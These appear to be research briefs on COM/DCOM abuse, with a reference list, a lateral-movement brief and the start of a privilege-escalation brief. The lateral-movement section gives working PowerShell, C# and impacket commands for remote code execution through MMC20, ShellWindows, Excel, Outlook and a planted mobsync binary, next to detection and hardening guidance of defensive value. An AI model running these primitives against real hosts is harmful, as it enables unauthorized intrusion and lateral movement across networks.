9. Distributed Component Object Model Protocol — DCOM/1.0 draft (Brown/Kindel; OBJREF/STDOBJREF/DUALSTRINGARRAY/MEOW, tower IDs): https://download.samba.org/pub/samba/specs/draft-brown-dcom-v1-spec-03.txt (IETF mirror: https://datatracker.ietf.org/doc/html/draft-brown-dcom-v1-spec-03)
|
||||||
|
10. [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol — Microsoft Learn: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/
|
||||||
|
11. Understanding the DCOM Wire Protocol by Analyzing Network Data Packets — MSJ March 1998 (mirror): https://jacobfilipp.com/MSJ/dcom.html
|
||||||
|
12. 3 Ways to Get a COM Server Process ID (OBJREF/STDOBJREF C structs, OXID/OID/IPID semantics) — Apriorit: https://www.apriorit.com/dev-blog/724-windows-three-ways-to-get-com-server-process-id
|
||||||
|
13. Inside COM+ (Dale Rogerson) — More on Monikers (IMoniker method table): https://thrysoee.dk/InsideCOM+/ch11c.htm ; DLL Surrogates (AppID named-values table): https://thrysoee.dk/InsideCOM+/ch12b.htm ; Marshaled Interface Pointers: https://thrysoee.dk/InsideCOM+/ch19e.htm
|
||||||
|
14. The Component Object Model (COM registry keys table, HKCR merged view, SCM lookup walkthrough) — magicsplat: https://www.magicsplat.com/book/com.html
|
||||||
|
15. COM Hijacking in Windows (HKCR/WOW6432Node, per-user vs system hives, InprocServer32/LocalServer32/TreatAs) — cyberc0re: https://www.cyberc0re.in/posts/com-hijacking-in-windows/
|
||||||
|
16. Lateral Movement Using DCOM Objects and C# (CLSID/ProgID/AppID model, AppID requirement for DCOM) — klezvirus: https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
|
||||||
|
17. Yet another DCOM object for lateral movement (COM terminology, HKCR\Interface/CLSID subkeys) — Kaspersky Securelist: https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/
|
||||||
|
18. Abusing .NET Core CLR Diagnostic Features (+CVE-2023-33127) — cross-session DCOM activation via "Interactive User" RunAs, OleViewDotNet methodology — bohops: https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
|
||||||
|
19. OleViewDotNet — James Forshaw (tyranid): https://github.com/tyranid/oleviewdotnet
|
||||||
|
20. DCOM Logical Privilege Escalation Part 6 (cites Forshaw "COM in Sixty Seconds"; ISystemActivator 000001A0, PropsOutInfo/MInterfacePointer→OBJREF): https://ithelp.ithome.com.tw/articles/10339264
|
||||||
|
21. CVE-2015-2370 DCOM DCE/RPC protocol analysis (IRemoteSCMActivator::RemoteCreateInstance replay LPE; rpcss.dll IObjectExporter/ResolveOxid2): https://security.zone.ci/AnQuanKe/AnQuanKeInfo/132266.html
|
||||||
|
22. KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support: https://support.microsoft.com/en-au/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
|
||||||
|
23. DCOM authentication hardening: what you need to know — Microsoft Tech Community: https://techcommunity.microsoft.com/blog/windows-itpro-blog/dcom-authentication-hardening-what-you-need-to-know/3657154
|
||||||
|
24. Microsoft DCOM Hardening Patch (CVE-2021-26414) — events 10036/10037/10038 details — SoftwareToolbox: https://help.softwaretoolbox.com/faq/microsoft-dcom-hardening
|
||||||
|
25. Attacking Visual Studio for Initial Access (LoadTypeLib moniker-parsing quirk; script moniker 06290BD3) — Outflank: https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/
|
||||||
|
26. Moniker Magic: Running Scripts Directly in Microsoft Office (script moniker CLSID, OleCreateLink bind chain) — leo00000 PDF: https://leo00000.github.io/pdf/Moniker_Magic_final.pdf
|
||||||
|
27. Office Moniker vulnerabilities overview (CVE-2017-8759, CVE-2018-8174, Office moniker blacklist CLSIDs incl. NewMoniker ECABAFC6): https://zhuanlan.zhihu.com/p/352124245
|
||||||
|
28. Automating COM/DCOM vulnerability research (OleViewDotNet-driven fuzzing; IDispatch JSON dump methodology) — incendium.rocks: https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
|
||||||
|
29. Security Considerations for Requestors (CoInitializeSecurity hardening guidance) — Microsoft (MSDN archive): https://msdn.microsoft.com/en-us/library/windows/desktop/aa384604(v=vs.85).aspx
|
||||||
|
30. CoInitializeSecurity (ole32) — EOAC/Authn/Imp enum values — pinvoke.net: http://pinvoke.net/default.aspx/ole32.CoInitializeSecurity
|
||||||
|
31. The case of COM failing to pump messages in a single-threaded COM apartment — Raymond Chen, The Old New Thing: https://devblogs.microsoft.com/oldnewthing/20250314-00/?p=110965
|
||||||
|
32. Apartments and COM Threading Models (STA/MTA internals, hidden window, SCM activation modes) — Syracuse ECS CSE775: https://ecs.syr.edu/faculty/fawcett/Handouts/cse775/Presentations/apartments.pdf
|
||||||
|
33. Windows Scheduled Tasks research (elevation-moniker requirements testing; Task Scheduler CLSID 0F87369F) — 3gstudent: https://3gstudent.github.io/backup-3gstudent.github.io/
|
||||||
|
34. Reversing ICMLuaUtil: ShellExec and CallCustomActionDll for Elevated Execution — codedintrusion: https://codedintrusion.com/posts/reversing-icmluautil/
|
||||||
|
35. Sharp4COMBypassUAC: ICMLuaUtil UAC bypass (elevation moniker + BIND_OPTS3 dwClassContext=4) — xz.aliyun.com: https://xz.aliyun.com/t/16063
|
||||||
|
36. ALPHV ransomware analysis (CMSTPLUA elevation moniker in the wild; dllhost /Processid artifact) — d01a.github.io: https://d01a.github.io/alphv/
|
||||||
|
37. Info Stealing Campaign Uses DLL Sideloading Through Cisco Webex Binaries (CoGetObject elevation moniker TTP, T1548.002) — Trellix: https://www.trellix.com/blogs/research/how-attackers-repackaged-a-threat-into-something-that-looked-benign/
|
||||||
|
38. GhostWeaver PowerShell RAT (PEB masquerade + elevation moniker + ServerCreateElevatedObject) — derp.ca: https://www.derp.ca/research/ghostweaver-tag124-powershell-rat/
|
||||||
|
39. In-Memory Loader Drops ScreenConnect (elevation moniker string obfuscation in loaders) — Zscaler ThreatLabz: https://www.zscaler.com/jp/blogs/security-research/memory-loader-drops-screenconnect
|
||||||
|
40. Lines Sample (canonical registry registration: ProgID/CurVer/LocalServer32/TypeLib/Interface ProxyStubClsid32=PSOAInterface) — Microsoft MSDN: https://msdn.microsoft.com/en-us/library/ms220980.aspx
|
||||||
|
41. MSI Packaging ebook — TypeLib table → HKCR\TypeLib\{LIBID}\<ver>\0\Win32, FLAGS, HELPDIR: https://www.advancedinstaller.com/application-packaging-training/msi/ebook/registries.html
|
||||||
|
42. Default CLSID/IID list Windows 10 19041 (scrobj.dll family: Scriptlet.Context/Constructor/Factory, Script moniker BD3, HostEncode BD4, TypeLib BD5) — inaz2 gist: https://gist.github.com/inaz2/5fa3ca02f4e8204a7dd4d4b50fd0c13f
|
||||||
|
43. STA vs MTA in COM: Apartments, Marshaling, and Deadlocks — comcomponent.com: https://comcomponent.com/en/blog/2026/01/31/000-sta-mta-com-relationship/
|
||||||
|
44. COM in Sixty Seconds — James Forshaw (44CON 2017 talk, activation/OBJREF internals; slides via 44CON archive): https://github.com/tyranid/presentations
|
||||||
|
|
||||||
|
**Confidence & gaps**: All registry paths, API signatures, OBJREF structures, CLSCTX/COINIT/authn-level constants, and the moniker CLSIDs in section 14 are verified against at least two sources above. Explicitly unverified (flagged inline): Session Moniker & Elevation Moniker implementation CLSIDs (syntax documented; confirm numeric CLSIDs in OleViewDotNet), exact mechanism attribution for CVE-2017-0100, and current default values of `LegacyAuthenticationLevel`/`LegacyImpersonationLevel` on fully-patched Win11 (hardening has shifted these; describe as version-dependent).
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
# RESEARCH BRIEF: COM/DCOM for Lateral Movement (T1021.003 / T1559.001)
|
||||||
|
|
||||||
|
## 1. DCOM Remoting Fundamentals
|
||||||
|
- COM = local inter-process object model; DCOM = COM remoted over ORPC (Object RPC = DCE/RPC with `ncacn_ip_tcp`). Client activates a class on a remote host via `CoCreateInstanceEx(&clsid, pUnkOuter, CLSCTX_REMOTE_SERVER, pServerInfo /* COSERVERINFO */, n, rgiq)` where `COSERVERINFO.pwszName` = target (FQDN for Kerberos; IP forces NTLM).
|
||||||
|
- Wire path: TCP 135 (epmap) → remote RPCSS resolves CLSID under HKCR\CLSID → Launch/Activation permission check → **DcomLaunch** (`svchost.exe -k DcomLaunch`) starts the server (`mmc.exe -Embedding`, `EXCEL.EXE /automation -Embedding`, `DllHost.exe /Processid:{AppID}`) → dynamic high RPC port (49152-65535 Vista+; 1024-5000 legacy) assigned via OXID resolution (`IObjectExporter::ResolveOxid2`) → method calls (`IDispatch::GetIDsOfNames`/`Invoke`) over that port. 135 connection is short-lived.
|
||||||
|
- Activation interface: ISystemActivator / IRemoteSCMActivator — opnum 3 `RemoteGetClassObject`, opnum 4 `RemoteCreateInstance`.
|
||||||
|
- Auth: DCOM is always authenticated. Kerberos with hostname (SPN RPCSS/<host>); NTLMv2 with IP. Produces Security 4624 Type 3 on target (+Kerberos 4768/4769), 4648 on source for explicit creds.
|
||||||
|
- Authorization: per-AppID Launch/Activation Permissions (`LaunchPermission` REG_BINARY under `HKCR\AppID\{AppID}`) falling back to machine defaults (dcomcnfg). Default = Administrators Local+Remote Launch/Activation. Abused objects (MMC20, ShellWindows, ShellBrowserWindow) have NO explicit LaunchPermission → inherit default → local admin on target is the practical requirement. Enumerate: `Get-CimInstance Win32_DCOMApplication`; audit ACLs with OleViewDotNet (filter `entry LaunchPermission == None`).
|
||||||
|
- "Distributed COM Users" group exists to delegate to non-admins but is usually empty; non-RID-500 local accounts blocked by UAC remote token filtering unless `LocalAccountTokenFilterPolicy=1`; domain accounts in local Administrators work.
|
||||||
|
- Why stealthy: no service creation (no 7045), no scheduled task, no ADMIN$ needed for pure PowerShell/C# primitives, no new listening port, execution rides signed Microsoft binaries, same RPC plumbing as legit admin tools. Semi-interactive: output exfil out-of-band (redirect to share or impacket `\\127.0.0.1\ADMIN$` write-back).
|
||||||
|
|
||||||
|
## 2. Abusable Remote COM Objects
|
||||||
|
### 2.1 MMC20.Application (enigma0x3, Jan 5 2017)
|
||||||
|
- CLSID `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}`; ProgID MMC20.Application; AppID `{7E0423CD-1119-0928-900C-E6D4A52A0715}`; host: mmc.exe spawned by svchost -k DcomLaunch with `-Embedding`.
|
||||||
|
- Method: `Document.ActiveView.ExecuteShellCommand(Command, Directory, Parameters, WindowState)`; WindowState "7" = minimized.
|
||||||
|
- Chain: auth (admin) → remote-activate → mmc.exe starts as authenticating user → ExecuteShellCommand with program/args split → child of mmc.exe → output out-of-band.
|
||||||
|
- Firewall caveat: inbound "Microsoft Management Console" rule must be enabled (default blocked).
|
||||||
|
```powershell
|
||||||
|
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.99.132"))
|
||||||
|
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",$null,"/c whoami > C:\temp\o.txt","7")
|
||||||
|
```
|
||||||
|
```csharp
|
||||||
|
Type t = Type.GetTypeFromProgID("MMC20.Application", "192.168.1.10");
|
||||||
|
object com = Activator.CreateInstance(t);
|
||||||
|
object doc = t.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, com, null);
|
||||||
|
object view = doc.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, doc, null);
|
||||||
|
view.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, view,
|
||||||
|
new object[]{ "C:\\Windows\\System32\\cmd.exe", null, "/c whoami > C:\\temp\\o.txt", "7" });
|
||||||
|
```
|
||||||
|
IoCs: svchost → mmc.exe (-Embedding); mmc.exe → cmd/powershell; Sigma MMC20; 4624 type 3.
|
||||||
|
|
||||||
|
### 2.2 ShellWindows (enigma0x3 Round 2, Jan 23 2017)
|
||||||
|
- CLSID `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}`; no ProgID; LocalServer32 rundll32.exe; RunAs Interactive User.
|
||||||
|
- Method: `.Item().Document.Application.ShellExecute(sFile, vArguments, vDirectory, vOperation, vShow)` (IShellDispatch2); vShow 0 = hidden. Default object in impacket dcomexec.
|
||||||
|
- Piggybacks already-running explorer.exe → no new COM host process; requires interactive session on target. Bonus methods: ServiceStart/ServiceStop/IsServiceRunning/ShutDownWindows/GetSystemInformation.
|
||||||
|
```powershell
|
||||||
|
$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.99.13")
|
||||||
|
$obj = [System.Activator]::CreateInstance($com)
|
||||||
|
$item = $obj.Item()
|
||||||
|
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
|
||||||
|
```
|
||||||
|
```python
|
||||||
|
dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt" # ShellWindows default
|
||||||
|
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10
|
||||||
|
```
|
||||||
|
IoCs: payload child of explorer.exe; DCE/RPC GetIDsOfNames "ShellExecute" + Invoke with full command line in cleartext at Packet-Integrity (integrity ≠ encryption).
|
||||||
|
|
||||||
|
### 2.3 ShellBrowserWindow (enigma0x3 Round 2; bohops Navigate variant Mar 17 2018)
|
||||||
|
- CLSID `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}`; no ProgID; RunAs Interactive User. Win10/2012R2+ only — absent on Win7.
|
||||||
|
- Method: `Document.Application.ShellExecute(...)` directly (no .Item()); or IWebBrowser2 `Navigate`/`Navigate2`.
|
||||||
|
```powershell
|
||||||
|
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
|
||||||
|
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Navigate("C:\path\payload.exe")
|
||||||
|
```
|
||||||
|
Navigate/2: no command switches (file path only), avoid .hta (prompt), avoid HTTP/S (IE window pops), UNC works; worked Win10→2012 but NOT against Win10/2016 targets in bohops' tests.
|
||||||
|
|
||||||
|
### 2.4 Excel.Application — five primitives (CLSID `{00020812-0000-0000-C000-000000000046}`)
|
||||||
|
Host: EXCEL.EXE launched with `/automation -Embedding` (strong artifact). Needs Office.
|
||||||
|
(a) **DDEInitiate** (Cybereason/Tsukerman, Sep 11 2017): `DDEInitiate(App, Topic)` — App ≤ 8 chars, ".exe" auto-appended (pass "cmd"); Topic ≤1024 chars; DisplayAlerts=$false. Child of EXCEL.EXE.
|
||||||
|
```powershell
|
||||||
|
$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
|
||||||
|
$hb.DisplayAlerts = $false
|
||||||
|
$hb.DDEInitiate('cmd','/c powershell -enc <cradle>')
|
||||||
|
```
|
||||||
|
(b) **RegisterXLL** (Ryan Hanson/Empire): `Application.RegisterXLL(dllPath)` — DllMain executes regardless of extension/exports; UNC works.
|
||||||
|
(c) **Run() macro** (enigma0x3): copy .xlsm, Workbooks.Open, `$com.Run("MyMacro")`.
|
||||||
|
(d) **ExecuteExcel4Macro XLM** (Stan Hegt/Outflank; MDSec C# "I Like to Move It Part 2", Sep 2020): fileless XLM `EXEC("calc.exe")`, or full shellcode injection inside DCOM-spawned excel.exe via CALL("Kernel32","VirtualAlloc",...) + RtlMoveMemory + QueueUserAPC. SharpExcel4-DCOM (rvrsh3ll).
|
||||||
|
```csharp
|
||||||
|
Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
|
||||||
|
object excel = Activator.CreateInstance(ComType);
|
||||||
|
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
|
||||||
|
new object[] { "EXEC(\"calc.exe\")" });
|
||||||
|
```
|
||||||
|
(e) **ActivateMicrosoftApp** (SpecterOps 2023): `ActivateMicrosoftApp(5|6|7)` launches EOL FoxPro/WinProj/Schedule+ via PATH search → plant payload as `%LOCALAPPDATA%\Microsoft\WindowsApps\FOXPROW.exe` over ADMIN$. Win10/11 + Office 365 x64.
|
||||||
|
IoCs: svchost -k DcomLaunch → EXCEL.EXE /automation -Embedding; children of EXCEL.EXE; Sysmon 7 (.xll/unknown DLL); Office non-interactive on servers ≈ zero FP.
|
||||||
|
|
||||||
|
### 2.5 Outlook.Application — CreateObject + DotNetToJScript (enigma0x3, Nov 16 2017)
|
||||||
|
CLSID `{0006F03A-0000-0000-C000-000000000046}`; host OUTLOOK.EXE -Embedding.
|
||||||
|
```powershell
|
||||||
|
$com = [Type]::GetTypeFromProgID('Outlook.Application','192.168.99.152')
|
||||||
|
$object = [System.Activator]::CreateInstance($com)
|
||||||
|
$RemoteScriptControl = $object.CreateObject("ScriptControl")
|
||||||
|
$RemoteScriptControl.Language = "JScript"
|
||||||
|
$RemoteScriptControl.AddCode($code) # $code = DotNetToJScript output → fileless shellcode
|
||||||
|
```
|
||||||
|
Fileless shellcode exec on remote host. Variant: `$object.CreateObject("Shell.Application").ShellExecute(...)`; Wscript.Shell adds wshom.ocx image-load IoC. Needs Outlook.
|
||||||
|
|
||||||
|
### 2.6 Visio (Cybereason): ProgIDs Visio.Application / Visio.InvisibleApp; `Addons.Add(path)` loads any executable as addon; child of VISIO.EXE.
|
||||||
|
### 2.7 PowerPoint (attactics.org, Feb 2018): `PowerPoint.Application` + `AddIns.Add("c:\addin.ppam")` → VBA add-in macro. Invoke-DCOMPowerPointPivot.ps1.
|
||||||
|
### 2.8 Word/IE status: Word DDE remote unverified (only Excel worked for Cybereason); macro route plausible-unverified. InternetExplorer.Application (`{0002DF01-0000-0000-C000-000000000046}`) constrained by IE protected mode; use bohops Navigate via ShellBrowserWindow. Sigma rule exists for "DCOM InternetExplorer.Application iertutil DLL hijack".
|
||||||
|
### 2.9 LethalHTA (codewhitesec, Jul 2018): remote `htafile` ProgID (mshta LocalServer32) + custom moniker + DotNetToJScript → fileless HTA-less exec. github.com/codewhitesec/LethalHTA.
|
||||||
|
### 2.10 Abandoned DCOM binaries (bohops, Apr 28 2018): find DCOM class whose LocalServer32/InProcServer32 binary doesn't exist on target → plant payload at that path → activate. Canonical: mobsync.exe (absent on 2008R2/2012R2), SyncInfrastructure Class CLSID `{C947D50F-378E-4FF6-8835-FCB50305244D}`:
|
||||||
|
```powershell
|
||||||
|
copy evil.exe \\target\admin$\system32\mobsync.exe
|
||||||
|
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
|
||||||
|
```
|
||||||
|
Client sees 0x80080005 CO_E_SERVER_EXEC_FAILURE but payload runs. IoC: System log DistributedCOM 10010 ("did not register with DCOM within the required timeout"). Third-party leftovers too (IntelCpHDCPSvc.exe AppID `{84081F6F-8B2D-4FFE-AF7F-E72D488FABEB}`).
|
||||||
|
|
||||||
|
Summary: MMC20 (mmc.exe child, fileless cmdline) · ShellWindows/ShellBrowserWindow (explorer.exe child, fileless; need interactive session) · Excel ×5 (EXCEL.EXE child) · Outlook (fileless shellcode) · Visio/PowerPoint (addon file) · mobsync (planted binary, event 10010).
|
||||||
|
|
||||||
|
## 3. Operational Details
|
||||||
|
```powershell
|
||||||
|
$Type = [Type]::GetTypeFromCLSID($clsid, $ComputerName)
|
||||||
|
$Type = [Type]::GetTypeFromProgID($ProgId, $ComputerName)
|
||||||
|
$ComObject = [Activator]::CreateInstance($Type)
|
||||||
|
```
|
||||||
|
.NET COM interop does CoCreateInstanceEx + COSERVERINFO; no P/Invoke. Kerberos needs target by name; IP ⇒ NTLM.
|
||||||
|
Tools: SharpCOM (rvrsh3ll), SharpExcel4-DCOM, CsDCOM (rasta-mouse), SharpMove (0xthirteen, action=dcom/hijackdcom), MoveKit, SharpLateral (`reddcom`).
|
||||||
|
impacket dcomexec.py (agsolino/byt3bl33d3r): objects MMC20|ShellWindows(default)|ShellBrowserWindow; semi-interactive; output via `cmd /c <cmd> 1> \\127.0.0.1\ADMIN$\__<epoch>.<ms> 2>&1` read over SMB (needs ADMIN$; -share; -nooutput blind); -shell-type powershell; -silentcommand; auth: cleartext, -hashes (PtH), -k Kerberos/-aesKey/-keytab. Tested: MMC20 Win7/10/2012R2; ShellWindows Win7/10/2012R2; ShellBrowserWindow Win10/2012R2.
|
||||||
|
NetExec: `nxc smb <target> -u user -p pass --exec-method mmcexec -x "whoami"` (--dcom-timeout). Empire: powershell/lateral_movement/invoke_dcom (MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL, DetectOffice). Cobalt Strike: remote-exec com-mmc20 via Aggressor:
|
||||||
|
```
|
||||||
|
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");
|
||||||
|
```
|
||||||
|
Token notes: single-hop (no delegation); PtH works; Kerberos by hostname; Protected Users blocks NTLM; 127.0.0.1 loopback works for local testing (ShellWindows loopback runs in interactive user's explorer context).
|
||||||
|
OPC DA (OT): OPC Classic is entirely DCOM — OPCEnum DCOM service; same 135+dynamic footprint; KB5004442 broke legacy OPC deployments. Environment-specific.
|
||||||
|
|
||||||
|
## 4. OpSec & Detection
|
||||||
|
Sysmon: EID 1 svchost(-k DcomLaunch)→mmc.exe -Embedding; svchost→EXCEL.EXE /automation -Embedding; DllHost.exe /Processid:{AppID}; second-gen mmc.exe→cmd.exe, explorer.exe→cmd.exe, EXCEL.EXE→cmd.exe (FalconFriday: /automation -Embedding alone noisy — correlate). EID 3: inbound 135 to svchost + dynamic high-port; egress from mmc/excel = beacon. EID 7: .xll/unknown DLL into EXCEL; wshom.ocx; iertutil.dll from non-system path. EID 11/13: ADMIN$ writes, mobsync.exe, .ppam/.xlsm; LaunchPermission tampering.
|
||||||
|
Windows events: 4624 Type 3; 4648; 4672; System DistributedCOM 10010 (mobsync), 10006/10016 (denials); KB5004442 events 10036 (server-side rejected below PKT_INTEGRITY — user/SID/client IP), 10037/10038 (client-side). Audit DCOM Activity (rarely enabled).
|
||||||
|
ETW: Microsoft-Windows-RPC surfaces ORPC calls; MDI "Remote code execution attempt" for MMC20/ShellWindows.
|
||||||
|
Network: DCE/RPC ISystemActivator RemoteGetClassObject (opnum 3)/RemoteCreateInstance to 135; IDispatch GetIDsOfNames method strings ("ShellExecute", "ExecuteShellCommand") + Invoke args in cleartext at Packet Integrity (only Packet Privacy encrypts); workstation-to-workstation 135 high-fidelity. Zeek dce_rpc/Suricata; Elastic prebuilt "Incoming DCOM Lateral Movement with MMC".
|
||||||
|
Tooling signatures: impacket output regex `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1` (misthi0s); Sigma proc_creation_win_hktl_sharpmove.
|
||||||
|
Sigma MMC20 (f1f3bf22-deb2-418d-8cce-e1a45e46a5bd, high): ParentImage endswith \svchost.exe + Image endswith \mmc.exe + CommandLine contains -Embedding.
|
||||||
|
KB5004442 / CVE-2021-26414 "DCOM Hardening": Jun 2021 opt-in → Jun 14 2022 default → Mar 14 2023 mandatory. Min activation auth level RPC_C_AUTHN_LEVEL_PKT_INTEGRITY; `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel=1`. Kills unauthenticated/relay paths (RemotePotato0 OXID-MITM→relay); rejects old clients (10036/37/38); does NOT stop authenticated admin DCOM LM.
|
||||||
|
|
||||||
|
## 5. Defense
|
||||||
|
1. Segment: block workstation-to-workstation 135+dynamic; restrict to management hosts/PAWs; disable inbound "COM+ Network Access (DCOM-In)", "Microsoft Management Console".
|
||||||
|
2. DCOM ACLs: dcomcnfg COM Security Edit Default/Limits remove Remote Launch/Activation from Administrators; per-object: take ownership of HKCR\AppID\{guid} (TrustedInstaller), set explicit LaunchPermission deny remote, restore ownership, remove your FullControl. Monitor EID 13.
|
||||||
|
3. Disable DCOM: `HKLM\SOFTWARE\Microsoft\Ole EnableDCOM="N"` — breaks remote WMI; test at scale.
|
||||||
|
4. Identity: LAPS, tiered admin/PAWs, Credential Guard, Protected Users (blocks NTLM DCOM/PtH; Kerberos DCOM still possible), disable NTLM; monitor KB5004442 state.
|
||||||
|
5. App control: block Office child processes, ASR rules, no Office on servers, block mshta/ScriptControl.
|
||||||
|
|
||||||
|
## Diagrams to draw
|
||||||
|
1. DCOM remote activation across machines (attacker → 135/epmap → RPCSS → ACL check → DcomLaunch → mmc.exe -Embedding → OXID/dynamic port → IDispatch Invoke) with per-arrow telemetry tags.
|
||||||
|
2. MMC20 ExecuteShellCommand chain (object model walk Application→Document→ActiveView→ExecuteShellCommand; per-hop detection).
|
||||||
|
3. Detection data-source map (5 attack stages × sources, with "broken by hardening?" tags).
|
||||||
|
|
||||||
|
## REFERENCES
|
||||||
|
enigma0x3 MMC20 — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ · Round 2 — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ · Excel — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ · Outlook — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ · Cybereason Excel DDE — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom · Cybereason DCOM techniques — https://www.cybereason.com/blog/dcom-lateral-movement-techniques · bohops Navigate — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ · bohops mobsync — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ · MDSec DCOM — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/ · SpecterOps Excel AMA — https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922 · MITRE T1021.003 / T1559.001 · impacket dcomexec — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py · NetExec — https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command · Invoke-DCOM.ps1 — https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 · SharpMove — https://github.com/0xthirteen/SharpMove · SharpCOM — https://github.com/rvrsh3ll/SharpCOM · SharpExcel4-DCOM — https://github.com/rvrsh3ll/SharpExcel4-DCOM · Cobalt Strike user guide remote-exec · LethalHTA — https://codewhitesec.blogspot.com/2018/07/lethalhta.html · PowerPoint — https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/ · RemotePotato0 — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/ · KB5004442 — support.microsoft.com (CVE-2021-26414) · OleViewDotNet — https://github.com/tyranid/oleviewdotnet · Sigma MMC20 — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/ · FalconFriday 0xFF05 — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/ · misthi0s impacket hunting — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/ · BloodHound ExecuteDCOM — https://bloodhound.specterops.io/resources/edges/execute-dcom · ired.team DCOM notes · HackTricks dcom-exec · Atomic T1021.003 · Software Toolbox OPC/DCOM hardening
|
||||||
|
Caveats: Word-DDE remote unverified; bohops Navigate/2 failed vs Win10/2016; ShellBrowserWindow absent on Win7; ShellWindows/ShellBrowserWindow need interactive session; KB5004442 does NOT stop authenticated admin DCOM LM.
|
||||||
@@ -0,0 +1,480 @@
|
|||||||
|
# R3 — COM for Local Privilege Escalation (research brief)
|
||||||
|
|
||||||
|
**Scope:** Local privilege escalation via COM/DCOM only.
|
||||||
|
**Important correction (verified):** The DCOM/DCE-RPC local NTLM reflection bug is **CVE-2015-2370 (MS15-076, Project Zero issue 325)**. **CVE-2017-0100 (MS17-012) is a different DCOM LPE — the HelpPane.exe interactive-user client-verification bug** from Forshaw's COM Session Moniker research. Do not conflate.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. WHY OUT-OF-PROCESS COM SERVERS ARE LPE TARGETS
|
||||||
|
|
||||||
|
### 1.1 The structural problem
|
||||||
|
|
||||||
|
- COM objects are activated through the SCM/**RPCSS** service. An **out-of-process (OOP) server** is registered via `HKLM\SOFTWARE\Classes\CLSID\{CLSID}` with `LocalServer32` or with an `AppID` that names a Windows service. The server process frequently runs as `NT AUTHORITY\SYSTEM`, `LOCAL SERVICE`, or `NETWORK SERVICE`.
|
||||||
|
- Whether a low-privileged user may even talk to such an object is governed by two SDDL strings stored under `HKLM\SOFTWARE\Classes\AppID\{AppID}`:
|
||||||
|
- **`LaunchPermission`** — who may activate (rights mask includes `ExecuteLocal 0x2`, `ActivateLocal 0x8`).
|
||||||
|
- **`AccessPermission`** — who may call methods on a running object.
|
||||||
|
- Machine-wide defaults: `HKLM\SOFTWARE\Microsoft\Ole\DefaultLaunchPermission` / `DefaultAccessPermission` (editable via DCOMCNFG).
|
||||||
|
- Many inbox services grant launch+access to `Authenticated Users` (S-1-5-11), `INTERACTIVE` (S-1-5-4), or even AppContainer/LPAC principals. Example (DiagHub): launch SDDL contains `(A;;CCDCSW;;;AU)` — Authenticated Users — plus ALL APPLICATION PACKAGES and an LPAC capability SID. **Any such SYSTEM object with a dangerous method is a candidate LPE primitive.**
|
||||||
|
